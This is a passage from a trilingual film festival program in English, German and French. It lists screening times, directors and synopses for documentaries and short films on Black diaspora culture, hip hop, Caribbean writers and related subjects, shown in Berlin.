ist sie damit einverstanden, ihre Mutter zu treffen, von der sie denkt, dass diese sie als Kind im Stich gelassen hat. Ihre Mutter erzählt ihr Geschichten, die eine Ehe mit Schwierigkeiten und Gewalt offenbaren, und Jesse wird gezwungen, sich der Wahrheit über ihre Vergangenheit zu stellen. Beau à l´exquise et profondément émouvant, ""What My Mother Told Me"" est un voyage dramatique vers la découverte de l´individu. L´histoire est centrée sur Jesse, une jeune femme d´Angleterre, qui va au Trinidad enterrer son père. À contre-coeur elle accepte de rencontrer sa mère, dont elle a pensé avoir été abandonnée par elle quand elle était un enfant. Sa mère lui raconte des histoires, révélant un mariage violent et troublée, et Jesse est forcée de faire face à la vérité au sujet de son passé. __________________________________________________________________ Sunday, April 23 3 – 5 pm SCENE NOT HEARD Director: Maori Karmael Holmes Documentary, Color, 45 min. U.S.A. 2005 English Through rare performance footage, music and interviews with artists such as Floetry, Bahamadia and Lady B, this documentary looks at the role of women in Philadelphia´s underground Hip Hop scene, as they struggle to make their way in an industry known for its lack of opportunities for women in a city often overlooked for its contributions. Unter Verwendung von seltenem Filmmaterial, Musik und Interviews mit Künstlern wie Floetry, Bahamadia und Lady B wirft diese Dokumentation einen Blick auf die Rolle der Frauen in Philadelphias Hip-Hop Undergroundszene, während sie darum kämpfen, sich einen Weg in die Musikindustrie zu bahnen, die bekannt ist für ihren Mangel an Möglichkeiten für Frauen, in einer Stadt, deren Beiträge oft übersehen werden. A travers l´utilisation de documents cinématographiques rares, de musique et d´interviews avec des artistes tels que Floetry, Bahamadia et Lady B, ce documentaire montre le rôle des femmes dans la scène souterraine de Hip Hop de Philadelphie, comme elles luttent pour faire leur chemin dans une industrie marquée par son manque d´opportunités pour des femmes dans une ville, où leur contribution est souvent négligée. FOOT PRINTS Director: Muhammad Abbaszade Experimental, Color, 2 min. Iran 2006 no dialogue Double and contrasting points of view. Doppelte und entgegengesetzte Blickwinkel. Points de vue doubles et contrastés. A CONVERSATION WITH OSCAR BROWN JR. November 8, 1998, Berlin, Germany ""What´s wrong with this picture?"" Director: Prof. Donald Muldrow Griffith/Fountainhead® Tanz Theatre Documentary, Color, 60 min. Germany 1998 English The documentary film ""A Conversation With Oscar Brown Jr."" occurs in Oscar´s hotel room, after the completion of his invitational concert at the Haus der Kulturen der Welt in Berlin/Germany. He is in an expansive mood and speaks at length about music, the relationship between politics and sleaze in the U.S.A., the state of affairs of Black America and the underclass, crack cocaine, racial prejudice as a mental illness, Affirmative Action and the evil spirit in human society, versus the godly side in humanity. Oscar also reminisces about his childhood in Chicago, attending the University of Wisconsin, acting, Dick Durham, the cold war, W.E.B. DuBois, Paul Robeson, the Communist Party, Jim Crow, his army experiences, the collapse of Communism-Socialism, Black people in the Communist Party and his hopes for the future. Der Dokumentarfilm ""A Conversation With Oscar Brown Jr."" wurde in Oscars Hotelzimmer gedreht, nach Beendigung seines Konzertes auf Einladung des Hauses der Kulturen der Welt in Berlin/Deutschland. Er ist in mitteilsamer Laune und spricht ausführlich über Musik, die Beziehung zwischen Politik und Unmoral in den USA, den Stand der Dinge des Schwarzen Amerikas und die Unterklasse, Crack/Kokain, rassistische Vorurteile als mentale Krankheit, Affirmative Action und den bösen Geist in der menschlichen Gesellschaft im Kontrast zur göttlichen Seite der Menschlichkeit. Oscar schwelgt in Erinnerungen an seine Kindheit in Chicago, den Besuch der Universität von Wisconsin, ans Schauspielen, an Dick Durham, den Kalten Krieg, W.E.B. DuBois, Paul Robeson, die Kommunistische Partei, Jim Crow, seine Erfahrungen mit der Armee, den Zusammenbruch des Kommunismus´/Sozialismus´, schwarze Menschen in der Kommunistischen Partei und er erzählt über seine Hoffnungen für die Zukunft. Le film documentaire ""A Conversation With Oscar Brown Jr."" se déroule dans la chambre de l´hôtel d´Oscar, après la réalisation de son concert à Berlin/Allemagne suite à l´invitation de la ""Haus der Kulturen der Welt"". Il est dans une humeur expansible et parle longuement au sujet de la musique, du rapport entre la politique et les salles affaires aux États-Unis, de l´état de la question de l´Amérique noire et des classes d´individus infèrieures, du crack, de la cocaïne, du préjudice racial comme maladie mentale, de la ""Affirmative Action"" et de l´esprit mauvais dans la société humaine en contraste avec le côté divin de l´humanité. Oscar se rappelle également de son enfance à Chicago, ses études à l´université du Wisconsin, ses expériences théatrales, de Dick Durham, de la guerre froide, de W.E.B. DuBois, Paul Robeson, le parti communiste, Jim Crow, ses expériences dans l´armée, de l´effondrement du Socialisme-Communisme, des personnes noires au parti communiste et nous parle de ses espoirs dans l´avenir. __________________________________________________________________ Sunday, April 23 5 – 7 pm REUNION Director: Frances-Anne Solomon Documentary, Color, 30 min. U.K. 1995 English In September 1942, a group of West Indian women arrived in Britain to join the ATS, a branch of the army. The decision to recruit them followed two years of internal wrangling at the war office. In all, over 300 women served in Britain, Washington, and the Caribbean before the war ended. Now, nearly 50 years later, five such women are reunited to recount and reflect upon their experiences. Im September 1942 erreichte eine Gruppe von westindischen Frauen Britannien, um der ATS, einem Zweig der Armee, beizutreten. Die Entscheidung über ihre Rekrutierung folgte einem zweijährigen internen Streit im Kriegsministerium. Insgesamt dienten über 300 Frauen in Britannien, Washington und in der Karibik, bevor der Krieg endete. Heute, fast 50 Jahre später, sehen sich fünf dieser Frauen wieder, um ihre Erfahrungen auszutauschen und zu reflektieren. En septembre 1942, un groupe de femmes caraibéennes est arrivé en Grande-Bretagne pour rejoindre l´ATS, une branche de l´armée. La décision pour les recruter a causé deux ans de disputes internes au sein du bureau de la guerre. En tout, plus de 300 femmes ont servis en Grande-Bretagne, Washington, et les Caraïbes avant la fin de la guerre. Maintenant, presque 50 ans après, cinq d´entre elles sont réunies pour retracer et réfléchir sur leurs expériences. LEIMERT PARK: THE STORY OF A VILLAGE IN SOUTH CENTRAL LOS ANGELES Director: Jeannette Lindsay Documentary, Color, 88 min. U.S.A. 2005 English ""Leimert Park"" documents an extraordinary group of artists and musicians who, in the wake of the 1992 Los Angeles riots, created an underground arts movement and transformed a community. ""Leimert Park"" dokumentiert eine außergewöhnliche Gruppe von Künstlern und Musikern, die im Verlauf der Rebellion in Los Angeles 1992 eine Underground-Kunstbewegung gründeten und die Gemeinde umgestalteten. ""Leimert Park"" documente un groupe extraordinaire d´artistes et de musiciens qui, à la suite des émeutes en 1992 à Los Angeles, ont créé un mouvement d´arts souterrain et ont transformé une communauté. __________________________________________________________________ Sunday, April 23 7 – 9 pm AS AN ACT OF PROTEST Director: Dennis Leroy Moore Narrative, Color, 144 min. U.S.A. 2002 English ""As An Act Of Protest"" is ""an internal Battle of Algiers"". It is a poetic cinematic essay on racism and its psychological effects. It is an avant-garde movie that is more like a tone poem or classical black theater piece rather than a foray into conventional narrative cinema and its style flows from documentary and melodrama to satire and horror. The movie follows the “ rite-of-passage-stations-of-the-cross"" journey of a young passionate apollonian African American actor named Cairo Medina and his early artistic trials and tribulations with his director and dionysiac kindred spirit, Abner Sankofa. Together, after leaving a NYC Theater conservatory, they form a theatre group in Harlem and try to revive the Black Arts Movement which had such an impact on the theater community in the 1960´s. ""As An Act Of Protest"" ist ""eine innere Schlacht von Algier"". Es ist ein poetisches filmisches Essay über Rassismus und dessen psychologischen Auswirkungen. Es ist ein avantgardistischer Film, der mehr einer Tondichtung oder einem klassischen schwarzen Theaterstück gleicht als einem Ausflug in das konventionelle Erzählkino, und sein Stil fließt von der Dokumentation und dem Melodram in die Satire und den Horror. Der Spielfilm folgt den ""Stationen der Kreuzigung"" eines jungen leidenschaftlichen, apollinischen afrikanisch-amerikanischen Schauspielers namens Cairo Medina und seinen frühen künstlerischen Versuchen und Drangsalen mit seinem Regisseur und dionysischen Geist, Abner Sankofa. Zusammen gründen sie eine Theatergruppe in Harlem, nachdem sie ein Theaterkonservatorium in New York City verlassen haben, und versuchen die Black Arts Bewegung wieder zu beleben, die einen großen Einfluss auf die Theaterschaffenden in den 1960ern hatte. ""As An Act Of Protest"" est ""une bataille intèrieure d´Alger"". C´est un essai cinématographique poétique sur le racisme et ses effets psychologiques. C´est un film avant garde qui est plus une poésie tonale ou une pièce noire théatrale classique, qu´une incursion dans le cinéma narratif conventionnel. Son style navigue du documentaire et mélodrame à la satire et l´horreur. Le film suit le ""rite de chemin de croix"" d´un jeune acteur apollonien Africain-Américain passionné appelé Cairo Medina et ses épreuves et tribulations artistiques au tout début avec son directeur et esprit dyonisien, Abner Sankofa. Ensemble, après avoir quitté un conservatoire de théâtre de la ville de New York, ils constituent un groupe de théâtre dans Harlem et essayent de rétablir le mouvement d´arts noirs qui a eu un tel impact sur la communauté théâtrale dans les années 60. __________________________________________________________________ Monday, April 24 11 am – 1 pm I DREAM A WORLD Producers: Fountainhead® Tanz Theatre & Pol-Tel Director: Tomas Lewinski Documentary, Color, 24 min. Poland/Germany 1988-1990 English Documentary film exploring a dance workshop directed by Fountainhead® Tanz Theatre in Arezzo, Italy. The title and concept are based on the Langston Hughes poem ""I Dream A World"". A portrayal of multi-cultural, -racial gathering of dancers, teachers and their communication with one another. Awarded ""Best Film"" 1988 by the Polish Commission for Film Arts. Eine Dokumentation über einen Tanzworkshop geleitet von Fountainhead® Tanz Theatre in Arezzo, Italien. Der Titel und das Konzept basieren auf dem Gedicht von Langston Hughes ""I Dream A World"". Porträt einer multi-kulturellen, multi-ethnischen Zusammenkunft von TänzerInnen und LehrerInnen und ihrer Kommunikation untereinander. Ausgezeichnet als ""Bester Film"" 1988 von der Polnischen Kommission für Filmkunst. Un documentaire explorant un atelier de danse dirigé par Fountainhead® Tanz Theatre à Arezzo en Italie. Le titre et le concept sont basés sur la poésie de Langston Hughes ""I Dream A World""/""Je Rêve d´un Monde"". Le portrait d´un rassemblement multiethnique, multiculturel de danseurs et professeurs et la communication entre eux. Désigné comme ""meilleur film"" en 1988 par la Commission polonaise pour l´art cinématographique. DJELI ON VERI / IN THE BLOOD, PORTRAIT OF A GRIOT Directors: Aleksi Oksanen & Jari Järvi Documentary, Color, 25 min. Finland 2005 French and Dioula with English subtitles Ousmane ""Zoumana"" Dembele was born in Burkina Faso to a family of djelis, also known as griots – hereditary musicians and storytellers of West Africa. He learned the traditional djeli repertoire by playing the supporting calabash drums to his father´s fiddle. Griot musical traditions are still passed from one generation to the next, but times are changing. The djembe, a drum popular in West Africa, has become increasingly prominent in griot repertoires. Zoumana Dembele is one of the world´s most promising djembe players. Ousmane ""Zoumana"" Dembele wurde in Burkina Faso in eine Familie von Djelis geboren, auch bekannt als Griots – vererbte Gabe als Musiker und Geschichtenerzähler in Westafrika. Er lernte das traditionelle Djelirepertoire, indem er die Geige seines Vaters mit den Calabashtrommeln begleitete. Die musikalischen Traditionen werden immer noch von einer Generation an die nächste weitergegeben, aber die Zeiten ändern sich. Die Djembe, eine in Westafrika populäre Trommel, ist im Repertoire der Griots immer prominenter geworden. Zoumana Dembele ist einer der aussichtsreichsten Djembespieler der Welt. Ousmane ""Zoumana"" Dembele est né au Burkina Faso dans une famille de djelis, également connue sous le nom de griots – les musiciens et les conteurs traditionnels de l´Afrique occidentale. Il a appri le répertoire traditionnel des djelis en accompagnant aux tambours de calebasse le violon de son père. Les traditions musicales des Griots sont encore transmises d´une génération à l´autre, mais les temps changent. Le djembe, un tambour populaire en Afrique occidentale, est devenu de plus en plus utilisé dans les répertoires du griot. Zoumana Dembele est un des joueurs du djembe les plus prometteurs du monde. AFRIQUE: LA PAROLE ESSENTIELLE Director: Ibrahima Sarr Documentary, Color, 55 min. Chad 2005 French with English subtitles Instructing children in Chad, to consider their life choices carefully. Kindern aus dem Tschad wird vermittelt, ihre Entscheidungen im Leben mit Vorsicht zu treffen. Dans le film, il est question d´enseigner aux enfants du Tchad à considérer les choix de leur vie soigneusement. __________________________________________________________________ Monday, April 24 1 – 3 pm THE MAKING OF A PRESIDENT Directors: Christian Goertz & Mirella Domenich Documentary,Color, 53 min. Malawi, Germany, Brazil 2005 German/English/Portuguese with German/English/Portuguese subtitles In 2004 Malawi celebrates ten years of democracy with its third general elections held on the 20th of May. The elections, however, raise the question as to how far the democratization process has developed in this Southern African nation of 12 million people. 2004 feierte Malawi zehnjähriges Bestehen seiner Demokratie mit seiner dritten allgemeinen Wahl am 20. Mai. Dennoch wirft die Wahl die Frage auf, inwieweit der Demokratisierungsprozess diesen südafrikanischen Staat mit seinen 12 Mill. Menschen erreicht hat. En 2004, le Malawi célèbre dix ans de démocratie avec ses troisième élections générales tenues le 20. mai. Les élections, cependant, soulèvent la question; dans quelle mesure le procédé de démocratisation a atteint cette nation africaine du Sud de 12 millions de personnes. SOPRANO Director: Ali Kheir Khah Documentary, Color, 32 min. Iran 2004 Farsi with English subtitles An aspiring artist faces challenges in her quest to become a classical singer. Eine ehrgeizige Künstlerin stößt auf Widerstände bei ihrem Bestreben, eine klassische Sängerin zu werden. Une chanteuse ambitieuse doit faire face à des défis pour devenir une chanteuse classique. LOUISE BENNETT: MISS LOU THEN AND NOW Directors: Frances-Anne Solomon & Regan Macaulay Documentary, Color, 24 min. Canada 2005 English Louise Bennett is a Jamaican icon. The country´s leading author, poet, and comedienne, Miss Lou pioneered the use of the Jamaican language, raising the patois dialect to an art level and reflecting the truth and essence of Jamaican life. In this remarkable interview conducted by Leonie Forbes, Louise reflects upon her rich life story and her illustrious body of work. Louise Bennett ist eine jamaikanische Ikone. Des Landes führende Autorin, Dichterin und Komödiantin, Miss Lou, war Pionierin im Gebrauch der jamaikanischen Sprache, erhob den Dialekt Patois zu einer Kunstform und reflektierte Wahrheit und Essenz des jamaikanischen Lebens. In diesem bemerkenswerten Interview, geführt von Leonie Forbes, erinnert sich Louise an ihre reiche Lebensgeschichte und die illusteren Werke ihres Schaffens. Louise Bennett est une icône jamaïquaine. Le plus important auteur, poète, et la plus importante comédienne du pays, Mme Lou a marqué le chemin dans l´utilisation de la langue jamaïquaine, relevant ainsi le dialecte local du patois à un niveau d´art, reflétant ainsi la vérité et l´essence de la vie jamaïquaine. Dans cet entretien remarquable conduit par Leonie Forbes, Louise revoit l´histoire riche de sa vie et les oeuvres accomplies de ses créations. __________________________________________________________________ Monday, April 24 3 – 5 pm PAM MORDECAI: HER TRUE-TRUE NAME Director: Tumelo Phadi Documentary, Color, 24 min. Canada 2005 English A renowned poet teacher and anthologist Pam Mordecai, in a rare conversation with fellow Jamaican writer, academic and long time friend Velma Pollard. Eine namhafte Dichterin, Lehrerin und Anthologin, Pam Mordecai, in einem seltenen Gespräch mit der jamaikanischen Schriftstellerkollegin, Akademikerin und langjährigen Freundin, Velma Pollard. Dans ce documentaire, le poète professeur et anthologiste renommé Pam Mordecai participe à une rare conversation avec son camarade l´auteur jamaïquain et académicien et ami depuis longtemps Velma Pollard. BASTARDS OF THE PARTY Director: Cle Sloan Documentary, Color, 96 min. U.S.A. 2004 English The evolution of Black gangs in Los Angeles, the fall of the Black Panther Party and the rise of the notorious Crips & Bloods, who coined the phrase, ""Bastards of the Party"". Chronologically documented from 1948-2005. Die Entwicklung schwarzer Gangs in Los Angeles, der Fall der Black Panther Party and der Aufstieg der berüchtigten Crips & Bloods, die den Ausdruck ""Bastards of the Party"" geprägt haben. Chronologisch dokumentiert von 1948-2005. L´évolution des groupes noirs à Los Angeles, la chute des ""Panthères noires"" et le soulèvement du groupe ""Crips & Bloods"" très redouté à l´époque, qui ont inventé l´expression, ""Bastards of the Party"". Chronologiquement documenté de 1948-2005. __________________________________________________________________ Monday, April 24 5 – 7 pm THE BLACK RING Director: Farhoud Bahri Karami Experimental, Color, 13 min. Iran 2005 no dialogue Humans observed from black birds´ point of view. Menschen aus dem Blickwinkel schwarzer Vögel. Les humains sont observés à travers les yeux de l´oiseau noir. NEW FLAVORS: THE EMERGENCE OF SOUTHERN HIP HOP Directors: Vernon Clarke & Brian Bentley Documentary, Color, 60 min. U.S.A. 2005 English ""New Flavors: The Emergence of Southern Hip Hop"" is a documentary film, highlighting the impact Southern Hip Hop artists have had on the music and radio industries both in North America and world wide. The piece examines how the South´s influence is making a significant impact on this subculture called Hip Hop and why young people around the world are also relating to it. The perspective of the film focuses on how Southern artists – including Lil Jon, TI, Ludacris and David Banner among others – have influenced and impacted the direction of today´s music. ""New Flavors: The Emergence of Southern Hip Hop"" ist ein Dokumentarfilm, der den Einfluss von Hip-Hop-Künstlern aus dem Süden auf die Musik- und Radioindustrie sowohl in Nordamerika als auch weltweit hervorhebt. Der Film untersucht den signifikanten Einfluss des Südens auf diese Subkultur, genannt Hip-Hop, und warum auch junge Menschen auf der ganzen Welt sich damit identifizieren können. Die Perspektive des Films konzentriert sich auf die Art und Weise wie Künstler aus dem Süden – darunter Lil Jon, TI, Ludacris, David Banner und andere – die Richtung der heutigen Musik beeinflusst und bestimmt haben. ""New Flavors: The Emergence of Southern Hip Hop"" est un film documentaire de 60 minutes, mettant en valeur l´impact des artistes de Hip Hop du Sud sur la musique et les industries de radio en Amérique du Nord et dans le monde entier. Le film examine l´impact significatif du sud sur cette culture secondaire, appelée Hip Hop et pourquoi les jeunes dans le monde se réfèrent à lui. La perspective du film se concentre sur la façon dont les artistes du Sud – comprenant Lil Jon, TI, Ludacris et David Banner et d´autres – ont influencé et ont donné la direction de la musique d´aujourd´hui. HOMEZONE Director: Youssef Rabbaoui Documentary/Narrative, Color, 42 min. Germany 2005 German with English subtitles ""Homezone"" is a film about and with teenagers in Wedding, Berlin. Acted by locals from an ethnically mixed working class area in the heart of Berlin. Just a few blocks away from the central government buildings. Ordinary youths living their lives of quiet desperation, bored and trapped in the only environment they know. A short and poignant story about young people without a history. ""Homezone"" ist ein Film über und mit Teenagern aus Wedding, Berlin. Gespielt von Anwohnern aus einem ethnisch gemischten Arbeiterbezirk im Herzen Berlins. Nur ein paar Blocks entfernt vom zentralen Regierungsviertel. Gewöhnliche Jugendliche, die ihr Leben in stiller Verzweiflung verbringen, gelangweilt und gefangen in der einzigen Umgebung, die sie kennen. Eine kurze und prägnante Geschichte über junge Menschen ohne Geschichte. ""Homezone"" est un film au sujet et avec des adolescents à Wedding, Berlin. Joué par des acteurs locaux originaires d´un quartier d´ouvriers mélangé ethniquement au coeur de Berlin. Juste quelques blocs loin des bâtiments du gouvernement central. Des jeunes ordinaires vivant une vie de désespoir silencieuse, s´ennuyant et emprisonnés dans le seul environnement qu´ils connaissent. Une histoire courte et intense au sujet de jeunes sans histoire. __________________________________________________________________ Monday, April 24 7 – 9 pm ANDRE ALEXIS: MEMORY PLACES Director: Frances-Anne Solomon Documentary, Color, 24 min. Canada 2005 English In ""Memory Places"", author and playwright Andre Alexis takes us on a tour of those places that spark memories and stir his imagination. The documentary travels from his birthplace in Trinidad, to Ottawa, where he spent his childhood, and finally to the Toronto neighborhood he now calls home. As he discusses his work, we come to realize why each location has such a remarkable hold on him. In ""Memory Places"" nimmt uns der Autor und Stückeschreiber Andre Alexis mit zu jenen Plätzen, die seine Erinnerungen wachrufen und seine Vorstellungskraft anregen. Die Dokumentation beschreibt den Weg von seinem Geburtsort in Trinidad, über Ottawa, wo er seine Kindheit verbrachte, bis zu seiner Nachbarschaft in Toronto, die er heute als sein Zuhause bezeichnet. Während er seine Arbeit erläutert, erkennen wir, warum jeder Ort eine solch starke Macht auf ihn ausübt. Dans ""Memory Places"", l´auteur et le dramaturge André Alexis nous emmène en excursion dans ces endroits qui activent ses souvenirs et remuent son imagination. Le documentaire décrit son voyage de son lieu de naissance à Trinidad, en passant par Ottawa, où il a passé son enfance, et finalement jusqu´à Toronto, qu´il considère comme sa maison maintenant. Pendant qu´il explique son travail, nous sommes amenés à réaliser pourquoi chaque endroit a une prise si forte sur lui. PÅ EVENTYR I INDIEN / WHEN WE WERE TIGERS Directors: Catherine Kunze & Jacob Wellendorf Documentary, Color, 21 min. Denmark 2005 Danish with English subtitles Two little Danish girls – three-year-old Chloe and one-year-old Theat – go in search of adventure in India. They visit an Indian grandfather where they learn how to wash clothes Indian style, they go by train through Southern India, and they stay at a tea plantation in the mountains. A heartwarming and poetic film about two sisters and their meeting with an unfamiliar culture. Zwei kleine dänische Mädchen – die dreijährige Chloe und die einjährige Theat – gehen auf Abenteuersuche nach Indien. Sie besuchen einen indischen Großvater, bei dem sie lernen, Wäsche auf indische Weise zu waschen. Mit dem Zug fahren sie durch den Süden Indiens und besuchen eine Teeplantage in den Bergen. Ein herzerwärmender und poetischer Film über zwei Schwestern und ihre Begegnung mit einer ungewohnten Kultur. Deux petites filles danoises – Chloe âgée de trois ans et Theat d´un an – vont à la recherche de l´aventure en Inde. Ils rendent visite à un grand-père indien, là-bas ils apprennent comment laver les vêtements à la méthode indienne, ils voyagent par train dans le Sud de l´Inde, et ils restent dans une plantation de thé dans les montagnes. Un film réconfortant et poétique au sujet de deux soeurs et leur réunion avec une culture peu familière. SIDEMAN Director: Frédéric Baillif Documentary, Color, 65 min. Switzerland 2003 English, French with English subtitles The film is the portrait of a young Swiss American harmonica player living in New York. Grégoire Maret, born in Geneva, is 26 years old. He moved to New York City seven years ago to study the instrument at the New School of New York. He is performing and recording today with great jazz and fusion music artists. Grégoire Maret is also a very touching person who speaks about his work in a very passionate and humble way. The film relates his life from August 2001 to April 2002, between a recovering New York City and a relaxing Switzerland. Der Film ist das Porträt eines jungen schweiz-amerikanischen in New York lebenden Mundharmonikaspielers. Grégoire Maret, geboren in Genf, ist 26 Jahre alt. Er zog vor sieben Jahren nach New York, um das Instrument an der New School of New York zu studieren. Heute spielt er und nimmt CDs auf mit Jazzgrößen und Künstlern der Fusionmusik. Ebenso ist Grégoire Maret ein sehr gefühlvoller Mensch, der über seine Arbeit auf leidenschaftliche und demütige Weise spricht. Der Film beschreibt sein Leben von August 2001 bis April 2002, zwischen einem sich erholenden New York und einer beruhigenden Schweiz. Le film est le portrait d’un jeune joueur d’ harmonica suisse américain habitant à New York. Grégoire Maret, né à Genève, a 26 ans. Il a déménagé à New York City il y a sept ans pour étudier l’instrument à la nouvelle école de New York. Il joue et enregistre aujourd’hui avec de grands artistes de jazz et des artistes de la musique de fusion. Grégoire Maret est également une personne très émouvante qui parle au sujet de son travail d’une manière très passionnée et humble. Le film raconte sa vie d’août 2001 à avril 2002, entre une ville de New York City se remettant du 11. Septembre et une Suisse relax. __________________________________________________________________ 2. PROGRAM SCHEDULE Cinema filmkunst 66 Bleibtreustr. 12 10623 Berlin/Germany __________________________________________________________________ Thursday, May 4 6.00 pm / 18.00 Uhr PRESCRIPTION FOR TIME Director: Keith McQuirter Narrative, Color, 15 min. U.S.A. 2005 English Geraldine, portrayed by Gaye Saunders, an elderly woman, suffers from early signs of dementia and fears losing her independence to her daughter. In an attempt to change her fate, she finds hope in a drug that promises to extend life. Now caught in a crossroad between fear and hope, Geraldine must find the courage to face the truth of her reality or watch her life spin dangerously out of control. Geraldine – dargestellt von Gaye Saunders – eine ältere Frau, leidet an frühen Anzeichen von Demenz und hat Angst, ihre Unabhängigkeit an ihre Tochter zu verlieren. In einem Versuch, ihr Schicksal zu ändern, findet sie Hoffnung in einem Medikament, das eine Lebensverlängerung verspricht. Gefangen in einem Zwiespalt von Angst und Hoffnung, muss Geraldine den Mut aufbringen, sich der Wahrheit ihrer Realität zu stellen oder ihr Leben auf gefährliche Weise aus der Bahn gleiten zu sehen. Géraldine, représentée par Gaye Saunders, une vieille femme, souffrent des signes tôt de la démence et craint de perdre son indépendance à l´égard de sa fille. Afin d´essayer de changer son destin, elle trouve l´espoir dans une drogue qui promet de prolonger la vie. Maintenant enfermée dans un carrefour entre la crainte et l´espoir, Géraldine doit trouver le courage de faire face à la vérité de la réalité ou de voir sa vie dangereusement échapper à son contrôle. BEEN RICH ALL MY LIFE Director: Heather Lyn MacDonald Documentary, Color, 82 min. U.S.A. 2005 English ""I´m going to dance, dance, dance ´til I can´t dance no more, and I´m going to live, live, live ´til I die!"" (Bertye Lou Wood, age 96) Directed by Sundance award-winning filmmaker Heather Lyn MacDonald, ""Been Rich All My Life"" follows the remarkable ""Silver Belles."" In their 1930´s heyday, they danced at Harlem´s most prestigious haunts, with legendary band leaders like Cab Calloway and Duke Ellington. In 1985 they regrouped, put their shoes back on – and sassy as they ever were – are still performing regularly. They may not kick as high, but they are hip-swaying and show-biz savvy. ""Ich werde tanzen, tanzen, tanzen, bis ich nicht mehr tanzen kann, und ich werde leben, leben, leben, bis ich sterbe."" (Bertye Lou Wood, 96 Jahre) Unter der Regie von Heather Lyn MacDonald, einer vom Sundance Filmfestival ausgezeichneten Filmemacherin, begleitet der Film ""Been Rich All My Life"" die bemerkenswerten ""Silver Belles."" In ihrer Blütezeit der dreißiger Jahre tanzten sie auf Harlems angesehendsten Bühnen, mit legendären Orchesterleitern wie Cab Calloway und Duke Ellington. 1985 kamen sie wieder als Gruppe zusammen, zogen ihre Tanzschuhe an und – so extravagant, wie sie immer waren – treten sie noch regelmäßig auf. Sie mögen die Beine nicht mehr so hoch werfen, aber sie schwingen die Hüften und verstehen das Showgeschäft. Je vais danser, danser, danser ´jusqu´à ce que je ne puisse plus danser, et je vais vivre, vivre, vivre ´jusqu´à ce que je meure!"" (Bertye Lou Wood, âge 96) Dirigé par le cinéaste Heather Lyn MacDonald gagnant du prix Sundance, ""Been Rich All My Life"" est la suite remarquable de ""Silver Belles."" Dans leurs années 30 glorieuses, ils ont dansé dans les places les plus prestigieuses de Harlem, avec les groupes leaders légendaires tels que Cab Calloway et Duke Ellington. En 1985 ils se sont regroupés denouveau, ont remis leurs chaussures – et aussi extravagant qu´autrefois – ils se produisent toujours régulièrement. Ils ne peuvent plus lever leur pied aussi haut, mais ils balancent toujours des hanches et comprennent encore le Show Business. MARATHON Director: Tod Jackson Experimental, Color, 15 min. U.S.A. English A drama regarding marathon dances of the 30´s. Ein Drama über die Marathontänze der 30er Jahre. Un drame au sujet des danses marathon des années 30. __________________________________________________________________ Thursday, May 4 8.30 pm / 20.30 Uhr PAM MORDECAI: HER TRUE-TRUE NAME Director: Tumelo Phadi Documentary, Color, 24 min. Canada 2005 English A renowned poet teacher and anthologist Pam Mordecai, in a rare conversation with fellow Jamaican writer, academic and long time friend Velma Pollard. Eine namhafte Dichterin, Lehrerin und Anthologin, Pam Mordecai, in einem seltenen Gespräch mit der jamaikanischen Schriftstellerkollegin, Akademikerin und langjährigen Freundin, Velma Pollard. Dans ce documentaire, le poète professeur et anthologiste renommé Pam Mordecai participe à une rare conversation avec son camarade l´auteur jamaïquain et académicien et ami depuis longtemps Velma Pollard. BASTARDS OF THE PARTY Director: Cle Sloan Documentary, Color, 96 min. U.S.A. 2004 English The evolution of Black gangs in Los Angeles, the fall of the Black Panther Party and the rise of the notorious Crips & Bloods, who coined the phrase, ""Bastards of the Party"". Chronologically documented from 1948-2005. Die Entwicklung schwarzer Gangs in Los Angeles, der Fall der Black Panther Party and der Aufstieg der berüchtigten Crips & Bloods, die den Ausdruck ""Bastards of the Party"" geprägt haben. Chronologisch dokumentiert von 1948-2005. L´évolution des groupes noirs à Los Angeles, la chute des ""Panthères noires"" et le soulèvement du groupe ""Crips & Bloods"" très redouté à l´époque, qui ont inventé l´expression, ""Bastards of the Party"". Chronologiquement documenté de 1948-2005. __________________________________________________________________ Thursday, May 4 10.30 pm / 22.30 Uhr AVAHAYE BARAYE PIREMARD / SOME VOCALS FOR AN OLD MAN Director: Farid Mirkhani Experimental, Color, 15 min. Iran 2005 Turkish with English subtitles An old man decides to record the voice of birds to escape his loneliness... Ein alter Mann entschließt sich, den Gesang der Vögel aufzuzeichnen, um der Einsamkeit zu entfliehen... Un vieil homme se décide à enregistrer la voix des oiseaux pour échapper à sa solitude... THIS AMERICA Director: Bethels Agomuoh Narrative, Color, 98 min. U.S.A. 2005 English An African tourist forced to remain in the U.S.A., encounters dramatic conflicts and challenges in his bid to survive in a culture different from the one in which he was raised. Ein afrikanischer Tourist, der gezwungen ist, in den USA zu bleiben, stößt auf dramatische Konflikte und Herausforderungen bei seinem Versuch, in einer Kultur zu überleben, die sich von der unterscheidet, in der er aufwuchs. Un touriste africain forcé de rester aux États-Unis, doit faire face à des conflits dramatiques et des défis dans son effort de survivre dans une culture différente de celle dans laquelle il a été élevée. __________________________________________________________________ Friday, May 5 6.00 pm / 18.00 Uhr SCENE NOT HEARD Director: Maori Karmael Holmes Documentary, Color, 45 min. U.S.A. 2005 English Through rare performance footage, music and interviews with artists such as Floetry, Bahamadia and Lady B, this documentary looks at the role of women in Philadelphia´s underground Hip Hop scene, as they struggle to make their way in an industry known for its lack of opportunities for women in a city often overlooked for its contributions. Unter Verwendung von seltenem Filmmaterial, Musik und Interviews mit Künstlern wie Floetry, Bahamadia und Lady B wirft diese Dokumentation einen Blick auf die Rolle der Frauen in Philadelphias Hip-Hop Undergroundszene, während sie darum kämpfen, sich einen Weg in die Musikindustrie zu bahnen, die bekannt ist für ihren Mangel an Möglichkeiten für Frauen, in einer Stadt, deren Beiträge oft übersehen werden. A travers l´utilisation de documents cinématographiques rares, de musique et d´interviews avec des artistes tels que Floetry, Bahamadia et Lady B, ce documentaire montre le rôle des femmes dans la scène souterraine de Hip Hop de Philadelphie, comme elles luttent pour faire leur chemin dans une industrie marquée par son manque d´opportunités pour des femmes dans une ville, où leur contribution est souvent négligée. FOOT PRINTS Director: Muhammad Abbaszade Experimental, Color, 2 min. Iran 2006 no dialogue Double and contrasting points of view. Doppelte und entgegengesetzte Blickwinkel. Points de vue doubles et contrastés. A CONVERSATION WITH OSCAR BROWN JR. November 8, 1998, Berlin, Germany ""What´s wrong with this picture?"" Director: Prof. Donald Muldrow Griffith/Fountainhead® Tanz Theatre Documentary, Color, 60 min. Germany 1998 English The documentary film ""A Conversation With Oscar Brown Jr."" occurs in Oscar´s hotel room, after the completion of his invitational concert at the Haus der Kulturen der Welt in Berlin/Germany. He is in an expansive mood and speaks at length about music, the relationship between politics and sleaze in the U.S.A., the state of affairs of Black America and the underclass, crack cocaine, racial prejudice as a mental illness, Affirmative 